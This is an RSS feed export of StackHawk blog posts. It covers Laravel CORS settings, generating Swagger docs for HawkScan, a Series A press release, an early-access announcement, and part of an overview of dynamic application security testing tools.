&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;allowed_headers&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;exposed_headers&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;max_age&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;supports_credentials&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The &lt;b&gt;allowed_headers&lt;/b&gt; and &lt;b&gt;exposed_headers&lt;/b&gt; options control the HTTP request and response headers that your Laravel application and a browser on a different origin can exchange. The defaults are &lt;b&gt;[‘*’]&lt;/b&gt; for &lt;b&gt;allowed_headers&lt;/b&gt; and &lt;b&gt;false&lt;/b&gt; for &lt;b&gt;exposed_headers&lt;/b&gt;. As a result, clients can send any request headers, but the server can only use standard response headers. &lt;/p&gt;&lt;p&gt;These defaults are probably sensible. Check your API implementation, though. If you ever send custom headers, you’ll need to expose them, too. &lt;/p&gt;&lt;p&gt;Some CORS requests require preflights, which are HTTP OPTIONS requests that precede the actual API call. To minimize those with caching, change the &lt;b&gt;max_age&lt;/b&gt; default 0 to a higher value. That comes in handy when you expect many round trips between client and server. Most browsers cap this value, though, so something short like 600 seconds (10 minutes) makes sense. &lt;/p&gt;&lt;p&gt;Finally, the &lt;b&gt;supports_credentials&lt;/b&gt; option indicates whether you can use cookies or other credentials with your requests. Once again, think about your scenario. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An open API endpoint doesn’t require cookies because it’s either public or uses API keys for control. For those, you can keep this as &lt;b&gt;false&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;For an SPA where your users log in, though, you probably need credentials, so make sure to set it to &lt;b&gt;true&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Are There Other Caveats?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Laravel middleware relies on processing your HTTP requests through the framework. If you use PHP commands like &lt;b&gt;echo&lt;/b&gt;, &lt;b&gt;die&lt;/b&gt;, or &lt;b&gt;exit&lt;/b&gt; in your routes, then you’re shortcutting the framework. That may result in the wrong HTTP headers. If you rely on cross-origin requests during debugging, avoid any PHP methods that generate output and stop the framework’s workflow. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;To Summarize&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When you expose public API endpoints or use AJAX-style requests in an SPA spread over multiple hostnames with a Laravel back end, you need to configure CORS. Older Laravel versions need a plugin, whereas newer versions support this out of the box. &lt;/p&gt;&lt;p&gt;Make sure to review all configuration options. That way, all necessary requests will work with CORS and you’ll minimize the exposed surface area at the same time. &lt;/p&gt;&lt;p&gt;To learn more about enhancing your Laravel application’s security configuration, check out this &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-laravel/&quot;&gt;SQL injection guide&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Lukas Rosenstock. &lt;/i&gt;&lt;a href=&quot;https://lukasrosenstock.net/&quot;&gt;&lt;i&gt;Lukas&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is an independent PHP and web developer turned API consultant and technical writer. He works with clients of all sizes to design, implement, and document great APIs. His focus is on creating integrations and mashups that highlight the values of APIs, and educate developers about their potential.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Testing APIs with StackHawk and Swagger]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/security-testing-apis-with-stackhawk-and-swagger</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Aaron Neff]]></dc:creator><content:encoded>&lt;h3&gt;Security as Documentation&lt;/h3&gt;&lt;p&gt;Every developer knows the importance of good documentation regardless of whether you’re working on your first ‘Hello World’ program or a complex corporate monolith. Effective documentation can make or break the experience you have when interacting with someone else’s codebase. And, if you’re being honest, it’s likely come in handy when dusting off the cobwebs to one of the many projects you sent to live on the island of misfit toys over the years.&lt;/p&gt;&lt;p&gt;Beyond the typical value drivers like adoption and maintainability, good documentation, specifically for APIs, is critical to your application’s security posture. This is especially relevant today given modern web development’s heavy reliance on SPAs + APIs. If you were to only test the frontend JavaScript, your visibility into the vulnerabilities that haunt your application would be sorely lacking. Additionally, if your documentation is only half baked or incomplete, you face the same issue.&lt;/p&gt;&lt;p&gt;In addition to greater visibility, good API documentation increases the efficacy associated with automated security testing. Rather than relying on the spider to “discover” your API, pre-seeding the scanner with your OpenAPI spec takes the guesswork out of the process. It also leads to better test results since the scanner can infer how to communicate with your API based on defined inputs.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Good Code Documents Itself&lt;/h3&gt;&lt;p&gt;But what if you haven’t yet added an OpenAPI spec to your project? Don’t allow a lack of documentation to keep you from shipping secure code. OpenAPI is widely adopted, and as such there are a lot of tools available to help you get started. And given how easy it is to auto-generate &lt;a href=&quot;https://swagger.io/docs/&quot;&gt;Swagger Docs&lt;/a&gt;, not having documentation is no longer an excuse.&lt;/p&gt;&lt;p&gt;SmartBear has free online editor that can be used immediately to start building a OpenAPI file that will work with StackHawk: &lt;a href=&quot;https://swagger.io/tools/swagger-editor/&quot;&gt;https://swagger.io/tools/swagger-editor/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;For new projects, the industry recommended approach is to create an OpenAPI spec file and employ &lt;a href=&quot;https://github.com/OpenAPITools/openapi-generator&quot;&gt;OpenAPI code-generators&lt;/a&gt; to stub out the endpoints for the desired server frameworks.&lt;/p&gt;&lt;p&gt;For existing projects, you may want to explore framework specific utilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#springspringboot&quot;&gt;Spring/Springboot&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#rails&quot;&gt;Rails&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://drf-yasg.readthedocs.io/en/stable/&quot;&gt;Django&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#php&quot;&gt;PHP&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#express&quot;&gt;Express&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#aspnet&quot;&gt;ASP.NET&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Auto-Generating Swagger Docs for Django Projects&lt;/h3&gt;&lt;p&gt;Let’s walk through adding the &lt;a href=&quot;https://drf-yasg.readthedocs.io/en/stable/readme.html&quot;&gt;drf-yasg – Yet another Swagger generator&lt;/a&gt; to our hawkling-api codebase.&lt;/p&gt;&lt;p&gt;Clone the Repository&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Install drf-yasg&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Add drf-yasg as an installed app in &lt;b&gt;settings.py&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In urls.py import &lt;code&gt;re_path&lt;/code&gt; from &lt;code&gt;django.urls&lt;/code&gt; and add the following under &lt;code&gt;from rest_framework import permissions&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Include the following paths in urls.py&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And that’s it! If you visit &lt;u&gt;localhost:8000/swagger/&lt;/u&gt; in your browser you should see existing routes have been documented and any new route you add to the API will be automatically included in the documentation.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Configure and Run HawkScan&lt;/h3&gt;&lt;p&gt;We’ll now configure our stackhawk.yml file similarly to how we did in &lt;a href=&quot;https://www.stackhawk.com/blog/password-authentication-with-bearer-token/&quot;&gt;Part 3 of Security Testing Authenticated Routes&lt;/a&gt; series. The only difference is we’ll now add a section for the scanner to ingest the newly created OpenAPI specification.&lt;/p&gt;&lt;p&gt;We have a couple options for &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#using-an-openapi-spec-file-in-hawkscan&quot;&gt;seeding HawkScan&lt;/a&gt; with our OpenAPI spec.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Option 1:&lt;/b&gt; Specify the relative path to either the .json or .yaml file in your project directory.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Option 2:&lt;/b&gt; Specify the relative path to pull the file from the target host.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Option 3:&lt;/b&gt; Define your API inline or directly within the stackhawk.yml file itself. This is very useful for initial testing or limiting the scope of the API you want to test.&lt;/p&gt;&lt;p&gt;For this example we’ll chose the Option 2 and add &lt;code&gt;app.api: /swagger.json&lt;/code&gt; to our config file.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now run HawkScan as before&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Notes&lt;/h3&gt;&lt;p&gt;There is a reason that documentation is stressed so heavily during the development process. It has real tangible value both for humans and machines when interacting with your applications. Additionally, auto-generators like &lt;code&gt;drf-yasg&lt;/code&gt; help to take the heavy lifting out of the processes of creating and maintaining documentation, making it easier to automate critical business processes like security testing. Lastly, utilizing Swagger Docs in your security automation delivers test results with greater visibility and a higher degree of efficacy, ensuring confidence in the posture of your code as it’s pushed to production.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Raises $10M Series A to Put Application Security in the Hands of Developers]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/series-a-press-release</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;DENVER, CO — Oct 27, 2020 — Application security startup StackHawk announced today that it has raised a $10 million in Series A funding. The pre-emptive, oversubscribed round was led by &lt;a href=&quot;https://sapphireventures.com/&quot;&gt;Sapphire Ventures&lt;/a&gt; and included return seed backers Foundry Group, Costanoa Ventures, Flybridge Capital, and Matchstick Ventures. Launched just over a year ago, StackHawk has seen significant demand as a platform that helps developers implement security testing before applications are pushed into production — a trend in the industry known as “shifting security left.”&lt;/p&gt;&lt;p&gt;With widespread adoption of DevOps over the past decade, companies are shipping software to production more frequently than before, with many companies pushing to production multiple times per day. The traditional models of application security testing such as quarterly penetration tests or scheduled scans of the production application have struggled to keep up with this shift, resulting in inefficiencies and increased risk exposure. Modern companies, however, are integrating application security into their DevOps practices, checking for vulnerabilities early in the software development life cycle. This approach vastly shortens the time to find and fix vulnerabilities, leading to efficient development and secure applications.&lt;/p&gt;&lt;p&gt;StackHawk is an application security testing platform that allows DevOps teams to instrument automated dynamic application security testing (DAST) in the CI/CD pipeline. With this approach, engineering teams can instrument automated testing with every pull request, ensuring that vulnerabilities are caught long before they hit production. And with a strong focus on features for software developers, application security can scale across the engineering organization, creating significant efficiencies in fixing security bugs.&lt;/p&gt;&lt;p&gt;Adrián Moreno Peña, Tech Lead at VanMoof, describes the company’s use of StackHawk, “At VanMoof we work fast and lean, in a DevOps-way of working with empowered teams using smart tools to handle their work. It was about time to find InfoSec tools that fit with our vision — high productivity tools, flexible, adaptable and created with developers in mind. Using StackHawk we can make our security improvement process transparent, actionable and easy to understand for each developer in the team, applying best practices and preventing security issues from going to production.”&lt;/p&gt;&lt;p&gt;The modern approach to application security also resonates with Katie Teitler, industry analyst at TAG Cyber. “Coming early into the development lifecycle is an attractive proposition, both for development lifecycles and for security teams,” said Teitler. “Since the platform is lightweight and quick to deploy through Docker, devs should feel instantly comfortable with it.”&lt;/p&gt;&lt;p&gt;The StackHawk founding team has leveraged their backgrounds in DevOps and security to build the product that puts application security in developer’s hands. Joni Klippert, StackHawk founder &amp;amp; CEO, has spent the past decade building DevOps products, most recently as the VP, Product at VictorOps (acquired by Splunk). &lt;/p&gt;&lt;p&gt;“Digital Transformation has allowed for automation of many tasks associated with building, delivering and operating software in production. DevOps automation enables companies to deliver business value to their customers faster than ever before,” said Klippert. “However, security practices are not keeping up with the speed of modern software delivery. StackHawk empowers software engineers to deliver secure software to their customers at the speed of DevOps.” &lt;/p&gt;&lt;p&gt;The focus on integrating into the modern engineering workflow and building features for developers was a leading factor for Sapphire to lead the round. “With the rise of DevOps, companies have shifted to the frequent release of software and reliance on automation. How companies approach application security should be no different,” says David Hartwig, Managing Director at Sapphire Ventures. “We believe that StackHawk has the product and the team in place, led by Founder and CEO Joni Klippert, to deliver on developer-first automated application security testing in the DevOps pipeline, and we are excited to partner with them along their journey.”&lt;/p&gt;&lt;p&gt;With the additional capital, StackHawk will continue product development, invest in go-to-market teams, and continue to support ZAP, the open source project that the company’s platform is built upon. &lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt; | StackHawk, an application security SaaS startup in Denver, CO, empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;www.stackhawk.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About Sapphire Ventures&lt;/b&gt; | Sapphire Ventures is a venture capital firm focused on helping innovative technology companies become global category leaders. Leveraging nearly two decades of experience and an extensive global executive network, Sapphire invests capital, resources and expertise to enable its portfolio companies to scale rapidly through a powerful business development, marketing and talent platform. With more than $4 billion in assets under management across its Sapphire Ventures, Sapphire Partners and Sapphire Sport investment platforms, Sapphire is positioned to elevate companies across technology sectors to the global stage. To learn more about Sapphire Ventures, please see: &lt;a href=&quot;https://sapphireventures.com/&quot;&gt;https://sapphireventures.com/&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Launch of StackHawk’s Limited Early Access Program]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/launch-of-stackhawks-limited-early-access-program</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Below is a high level overview of what is included in the Early Access (with features to be added continuously).&lt;/p&gt;&lt;h3&gt;Finding Security Bugs with HawkScan&lt;/h3&gt;&lt;p&gt;HawkScan is our command-line based security bug scanner. Run a single Docker command and let HawkScan hunt out bugs in your running application. After finalizing config, add HawkScan to your build pipeline to ensure you are catching security bugs before they hit production.&lt;/p&gt;&lt;p&gt;Unlike dependency checking tools, StackHawk finds bugs in the code that you / your team have written, no matter where you build/deploy it. This can include SQL Injection, OS Command Injection, Cross Site Scripting, Open Redirects, and so much more.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Fix Bugs with Request / Response and Documentation&lt;/h3&gt;&lt;p&gt;Once you’ve run the scan, hop into the StackHawk app to view scan results and troubleshoot bugs. With fix documentation, you can learn more about what the bug is and why it matters. And with clear request / response payloads for bugs, you can troubleshoot and check fixes easily. &lt;/p&gt;&lt;h3&gt;Config as Code&lt;/h3&gt;&lt;p&gt;Manage your scanner configuration with our YAML based config to ensure that you are building a scalable AppSec process. With our YAML config, you can manage config across multiple environments and ensure that you are ready to scan at every stage of the build pipeline.&lt;/p&gt;&lt;p&gt;The StackHawk YAML is also where you manage authenticated scans and route definition for single page applications. Learn more about config options in our &lt;a href=&quot;https://docs.stackhawk.com&quot;&gt;HawkDocs documentation&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Ready to Get Started?&lt;/h3&gt;&lt;p&gt;You can join the waitlist at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;stackhawk.com&lt;/a&gt;, fill out our &lt;a href=&quot;https://stackhawk.typeform.com/to/u73q0c&quot;&gt;onboarding survey&lt;/a&gt;, and or reach out to us at &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;hello@stackhawk.com&lt;/a&gt;. We are pulling developers off the waitlist on a daily basis and onboarding them onto the Early Access program. We would love to have you using StackHawk too.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dynamic Application Security Testing (DAST) Tools Overview & Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/dynamic-application-security-testing-overview</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;&lt;b&gt;Overview of Dynamic Application Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/a&gt;, also known as DAST, is a form of testing a running version of your application to identify potential security vulnerabilities. With DAST, a scanner sends requests to your web application that simulate malicious attackers and evaluates the response received from the application for an indication of a security bug. As they run through the test suite of simulated attacks, &lt;b&gt;any potential vulnerabilities are recorded for review&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;DAST tools have long been a favorite of enterprise security teams, software engineering teams, and penetration testers alike. This form of testing finds vulnerabilities that your team has introduced in the software development lifecycle as well as exploitable vulnerabilities from open-source components used &lt;b&gt;within the application&lt;/b&gt;. It is often used alongside&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt; &lt;u&gt;Static Application Security Testing (SAST)&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/software-composition-analysis-sca-overview-and-tooling-guide/&quot;&gt; &lt;u&gt;Software Composition Analysis (SCA)&lt;/u&gt;&lt;/a&gt; tools. DAST is known for its low false positive rates and clear surfacing of application security risks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;DAST vs. SAST&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;While both SAST and DAST are essential tools in an organization&amp;#39;s security toolkit, they focus on different stages of the&lt;a href=&quot;https://www.stackhawk.com/blog/the-appsec-guide-to-shift-left-security-how-to-integrate-security-earlier-in-the-sdlc/&quot;&gt; &lt;u&gt;Software Development Life Cycle (SDLC)&lt;/u&gt;&lt;/a&gt; and offer distinct benefits. Understanding these differences can help teams choose the right combination of tools to optimize their security testing.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SAST&lt;/b&gt; (Static Application Security Testing) analyzes an application&amp;#39;s source code, binaries, or bytecode before the application is executed. It examines the code structure, logic, and patterns for security vulnerabilities, making it ideal for early detection. By finding issues like insecure coding practices or logic flaws, SAST can identify vulnerabilities like buffer overflows, hardcoded secrets, and syntax errors, all without the need for a running application. However, a challenge with SAST tools is a higher likelihood of false positives, which can lead to time-consuming triage for developers and security staff alike.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST&lt;/b&gt; (Dynamic Application Security Testing), conversely, focuses on testing a running application. It simulates attacks from the perspective of an external attacker, without access to the source code. This makes DAST solutions ideal when trying to detect vulnerabilities that only manifest in runtime environments(also known as &amp;quot;runtime vulnerabilities&amp;quot;), such as SQL injection, cross-site scripting (XSS), and other input-related attacks. Because it interacts with the application in its final environment by simulating user interactions, DAST provides real-world results with fewer false positives, but it may miss vulnerabilities in non-executable code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Some of the key differences between these two types of tools include, but are not limited to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Timing&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST is used earlier in the SDLC during development with access to the source code, allowing developers to catch issues in the code itself.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST is typically applied in the later stages when the application is deployed in a staging or production-like environment.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code Access&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST operates by requiring access to the application&amp;#39;s source code or binaries.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST works externally without the need to review the underlying code, testing the application as a black box for various security issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vulnerability Detection&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST identifies vulnerabilities related to coding errors and insecure logic paths.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST finds vulnerabilities based on the application&amp;#39;s runtime behavior, focusing on potential weaknesses that arise during execution.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;False Positives&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST tools are more prone to false positives, requiring additional time for analysis and triage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST generally produces fewer false positives because it evaluates the application in a real environment.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In a comprehensive strategy, SAST and DAST should be used together. SAST catches vulnerabilities early in development, while DAST confirms that the application is secure in its deployed state, ensuring a wholistic security approach throughout the development lifecycle. For an even more detailed look at the differences you can check out our comparison (&lt;b&gt;spoiler, you should use both&lt;/b&gt;) in&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt; &lt;u&gt;DAST-vs-SAST&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How it Works&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST scanners initiate their process by targeting the host where your application is deployed. This could be a publicly accessible website or web application; however, it is generally recommended to perform DAST scans in a &lt;b&gt;pre-production environment&lt;/b&gt;. Since the scanner emulates an attacker, it could potentially modify or delete data in your production environment, leading to undesirable consequences.&lt;/p&gt;&lt;p&gt;Once the scanner targets the host, it launches an HTML spider to catalog all accessible paths and actions. Depending on the chosen tool, it might also employ an Ajax spider for single-page applications, utilize the&lt;a href=&quot;https://help.stackhawk.com/en/articles/4576023-scanning-rest-apis-with-openapi&quot;&gt; &lt;u&gt;OpenAPI specification&lt;/u&gt;&lt;/a&gt; to test your REST APIs, or examine the&lt;a href=&quot;https://help.stackhawk.com/en/articles/5083155-scanning-graphql&quot;&gt; &lt;u&gt;GraphQL introspection&lt;/u&gt;&lt;/a&gt; endpoint to map out your GraphQL API query tree. Ideally, your tooling should comprehensively cover your application and associated APIs and &lt;b&gt;automate&lt;/b&gt; this process as much as possible.&lt;/p&gt;&lt;p&gt;Then, the scanner executes a suite of tests, transmitting requests to all identified paths/endpoints and analyzing the responses for indications of security vulnerabilities. The results are then compiled in the report or displayed via the interface of your DAST tool, ideally providing the essential information developers require to remediate any discovered issues.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What it Finds&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST scanners find a wide variety of web application security vulnerabilities without looking directly at an application&amp;#39;s source code. This can include&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL Injection&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/typescript-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Cross-Site Scripting (XSS)&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/react-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt; &lt;u&gt;Cross-Site Request Forgery (CSRF)&lt;/u&gt;&lt;/a&gt;, and many other vulnerabilities. These scanners find the majority of the &lt;a href=&quot;https://owasp.org/www-project-top-ten&quot;&gt;&lt;u&gt;OWASP Top 10 vulnerabilities&lt;/u&gt;&lt;/a&gt;. To see examples of vulnerabilities detected by DAST scanners, check out the tests run by open-source ZAP, widely regarded as the most popular application security testing tool.&lt;/p&gt;&lt;p&gt;The&lt;a href=&quot;https://www.stackhawk.com/blog/owasp-api-top-10-2023-a-comprehensive-guide/&quot;&gt; OWASP Top 10 vulnerabilities&lt;/a&gt; that DAST scanners do not find are typically beyond the reach of generalized automated testing. However, some DAST tools are now incorporating support for custom scripts, enabling testing of complex business logic and the identification of vulnerabilities more specific to your application. Examples include broken authentication and cross-tenancy checks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;DAST Products and Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are many DAST tools in the market, including several open-source or free options. Below is a list of the leading tools in the space that you could use for testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; is a modern DAST tool built for automation in CI/CD. For teams that want to catch vulnerabilities before they hit production and integrate security testing into engineering workflows, StackHawk is the leading option. StackHawk is built on top of the open source ZAP project and provides engineering teams with simplified automation, vulnerability triage, and fixes of securing findings.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;ZAP&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;ZAP, is an open source DAST scanner, stands as the most&lt;a href=&quot;https://zaproxy.org/blog/2020-04-02-is-zap-the-worlds-most-popular-web-scanner&quot;&gt; &lt;u&gt;widely used application security scanner&lt;/u&gt;&lt;/a&gt; in the industry.&lt;a href=&quot;https://zaproxy.org/blog/2020-09-06-zap-is-ten-years-old&quot;&gt; &lt;u&gt;Having set the standard for the past decade&lt;/u&gt;&lt;/a&gt;, ZAP excels in automation. It offers both a desktop application for scanning and an API that enables automated scanning of web applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Burp Suite&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Burp Suite, a product of PortSwigger, is a penetration testing tool. For penetration testers or in-house application security teams looking to do manual scans, Burp Suite is an excellent tool. There is also an enterprise edition that leverages agent deployments.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Detectify&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Detectify is a more modern entrant in the DAST space, although it leverages a crowd-sourcing approach to identifying vulnerabilities. The DAST scanner runs against production applications on a schedule.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Netsparker&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Netsparker is an established DAST tool that supports enterprise security teams. With on-premise deployment and a professional services arm to lead rollout, Netsparker fits enterprises that are not yet investing in DevSecOps.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rapid7&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;InsightAppSec is the DAST solution provided by Rapid7, another long standing enterprise security platform. InsightAppSec supports on-premise deployment and scheduled scans of production, making it another excellent solution for enterprises that are not yet investing in DevSecOps.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Veracode&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Veracode is an enterprise application security platform with solutions including SAST, SCA, IAST, and now DAST solutions. For large enterprises that prioritize a single platform for all application security needs, Veracode may be the right choice.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Select a DAST Tool&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Once you decide to get started with dynamic application security testing, the hardest part of the process may be deciding which tool is right for you. Below are a few items to consider when selecting a tool.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scan Frequency: Automated, Scheduled, or Manual&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Consider how often you would like to kick off scans. The following options are the most common methods of scanning.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;CI/CD Automated Scans&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The future of application security is automated and integrated with the DevOps pipeline (known as DevSecOps by many). With automated security scans in the CI/CD pipeline, there are many benefits that lead to faster discovery and fixes of security threats, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developers are alerted of any new vulnerabilities before they hit production, optionally breaking the build to ensure a review happens before the release&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Testing can be run against underlying services and APIs instead of the customer-facing application, leading to faster identification of the underlying issue when a bug is found&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;With tests on every pull request, smaller increments of change are tested, allowing developers to quickly fix vulnerabilities while still in the context of the code they were working on&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Scheduled Scans&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For teams that are not yet ready to adopt application security automation, they may select to run regularly scheduled scans against the 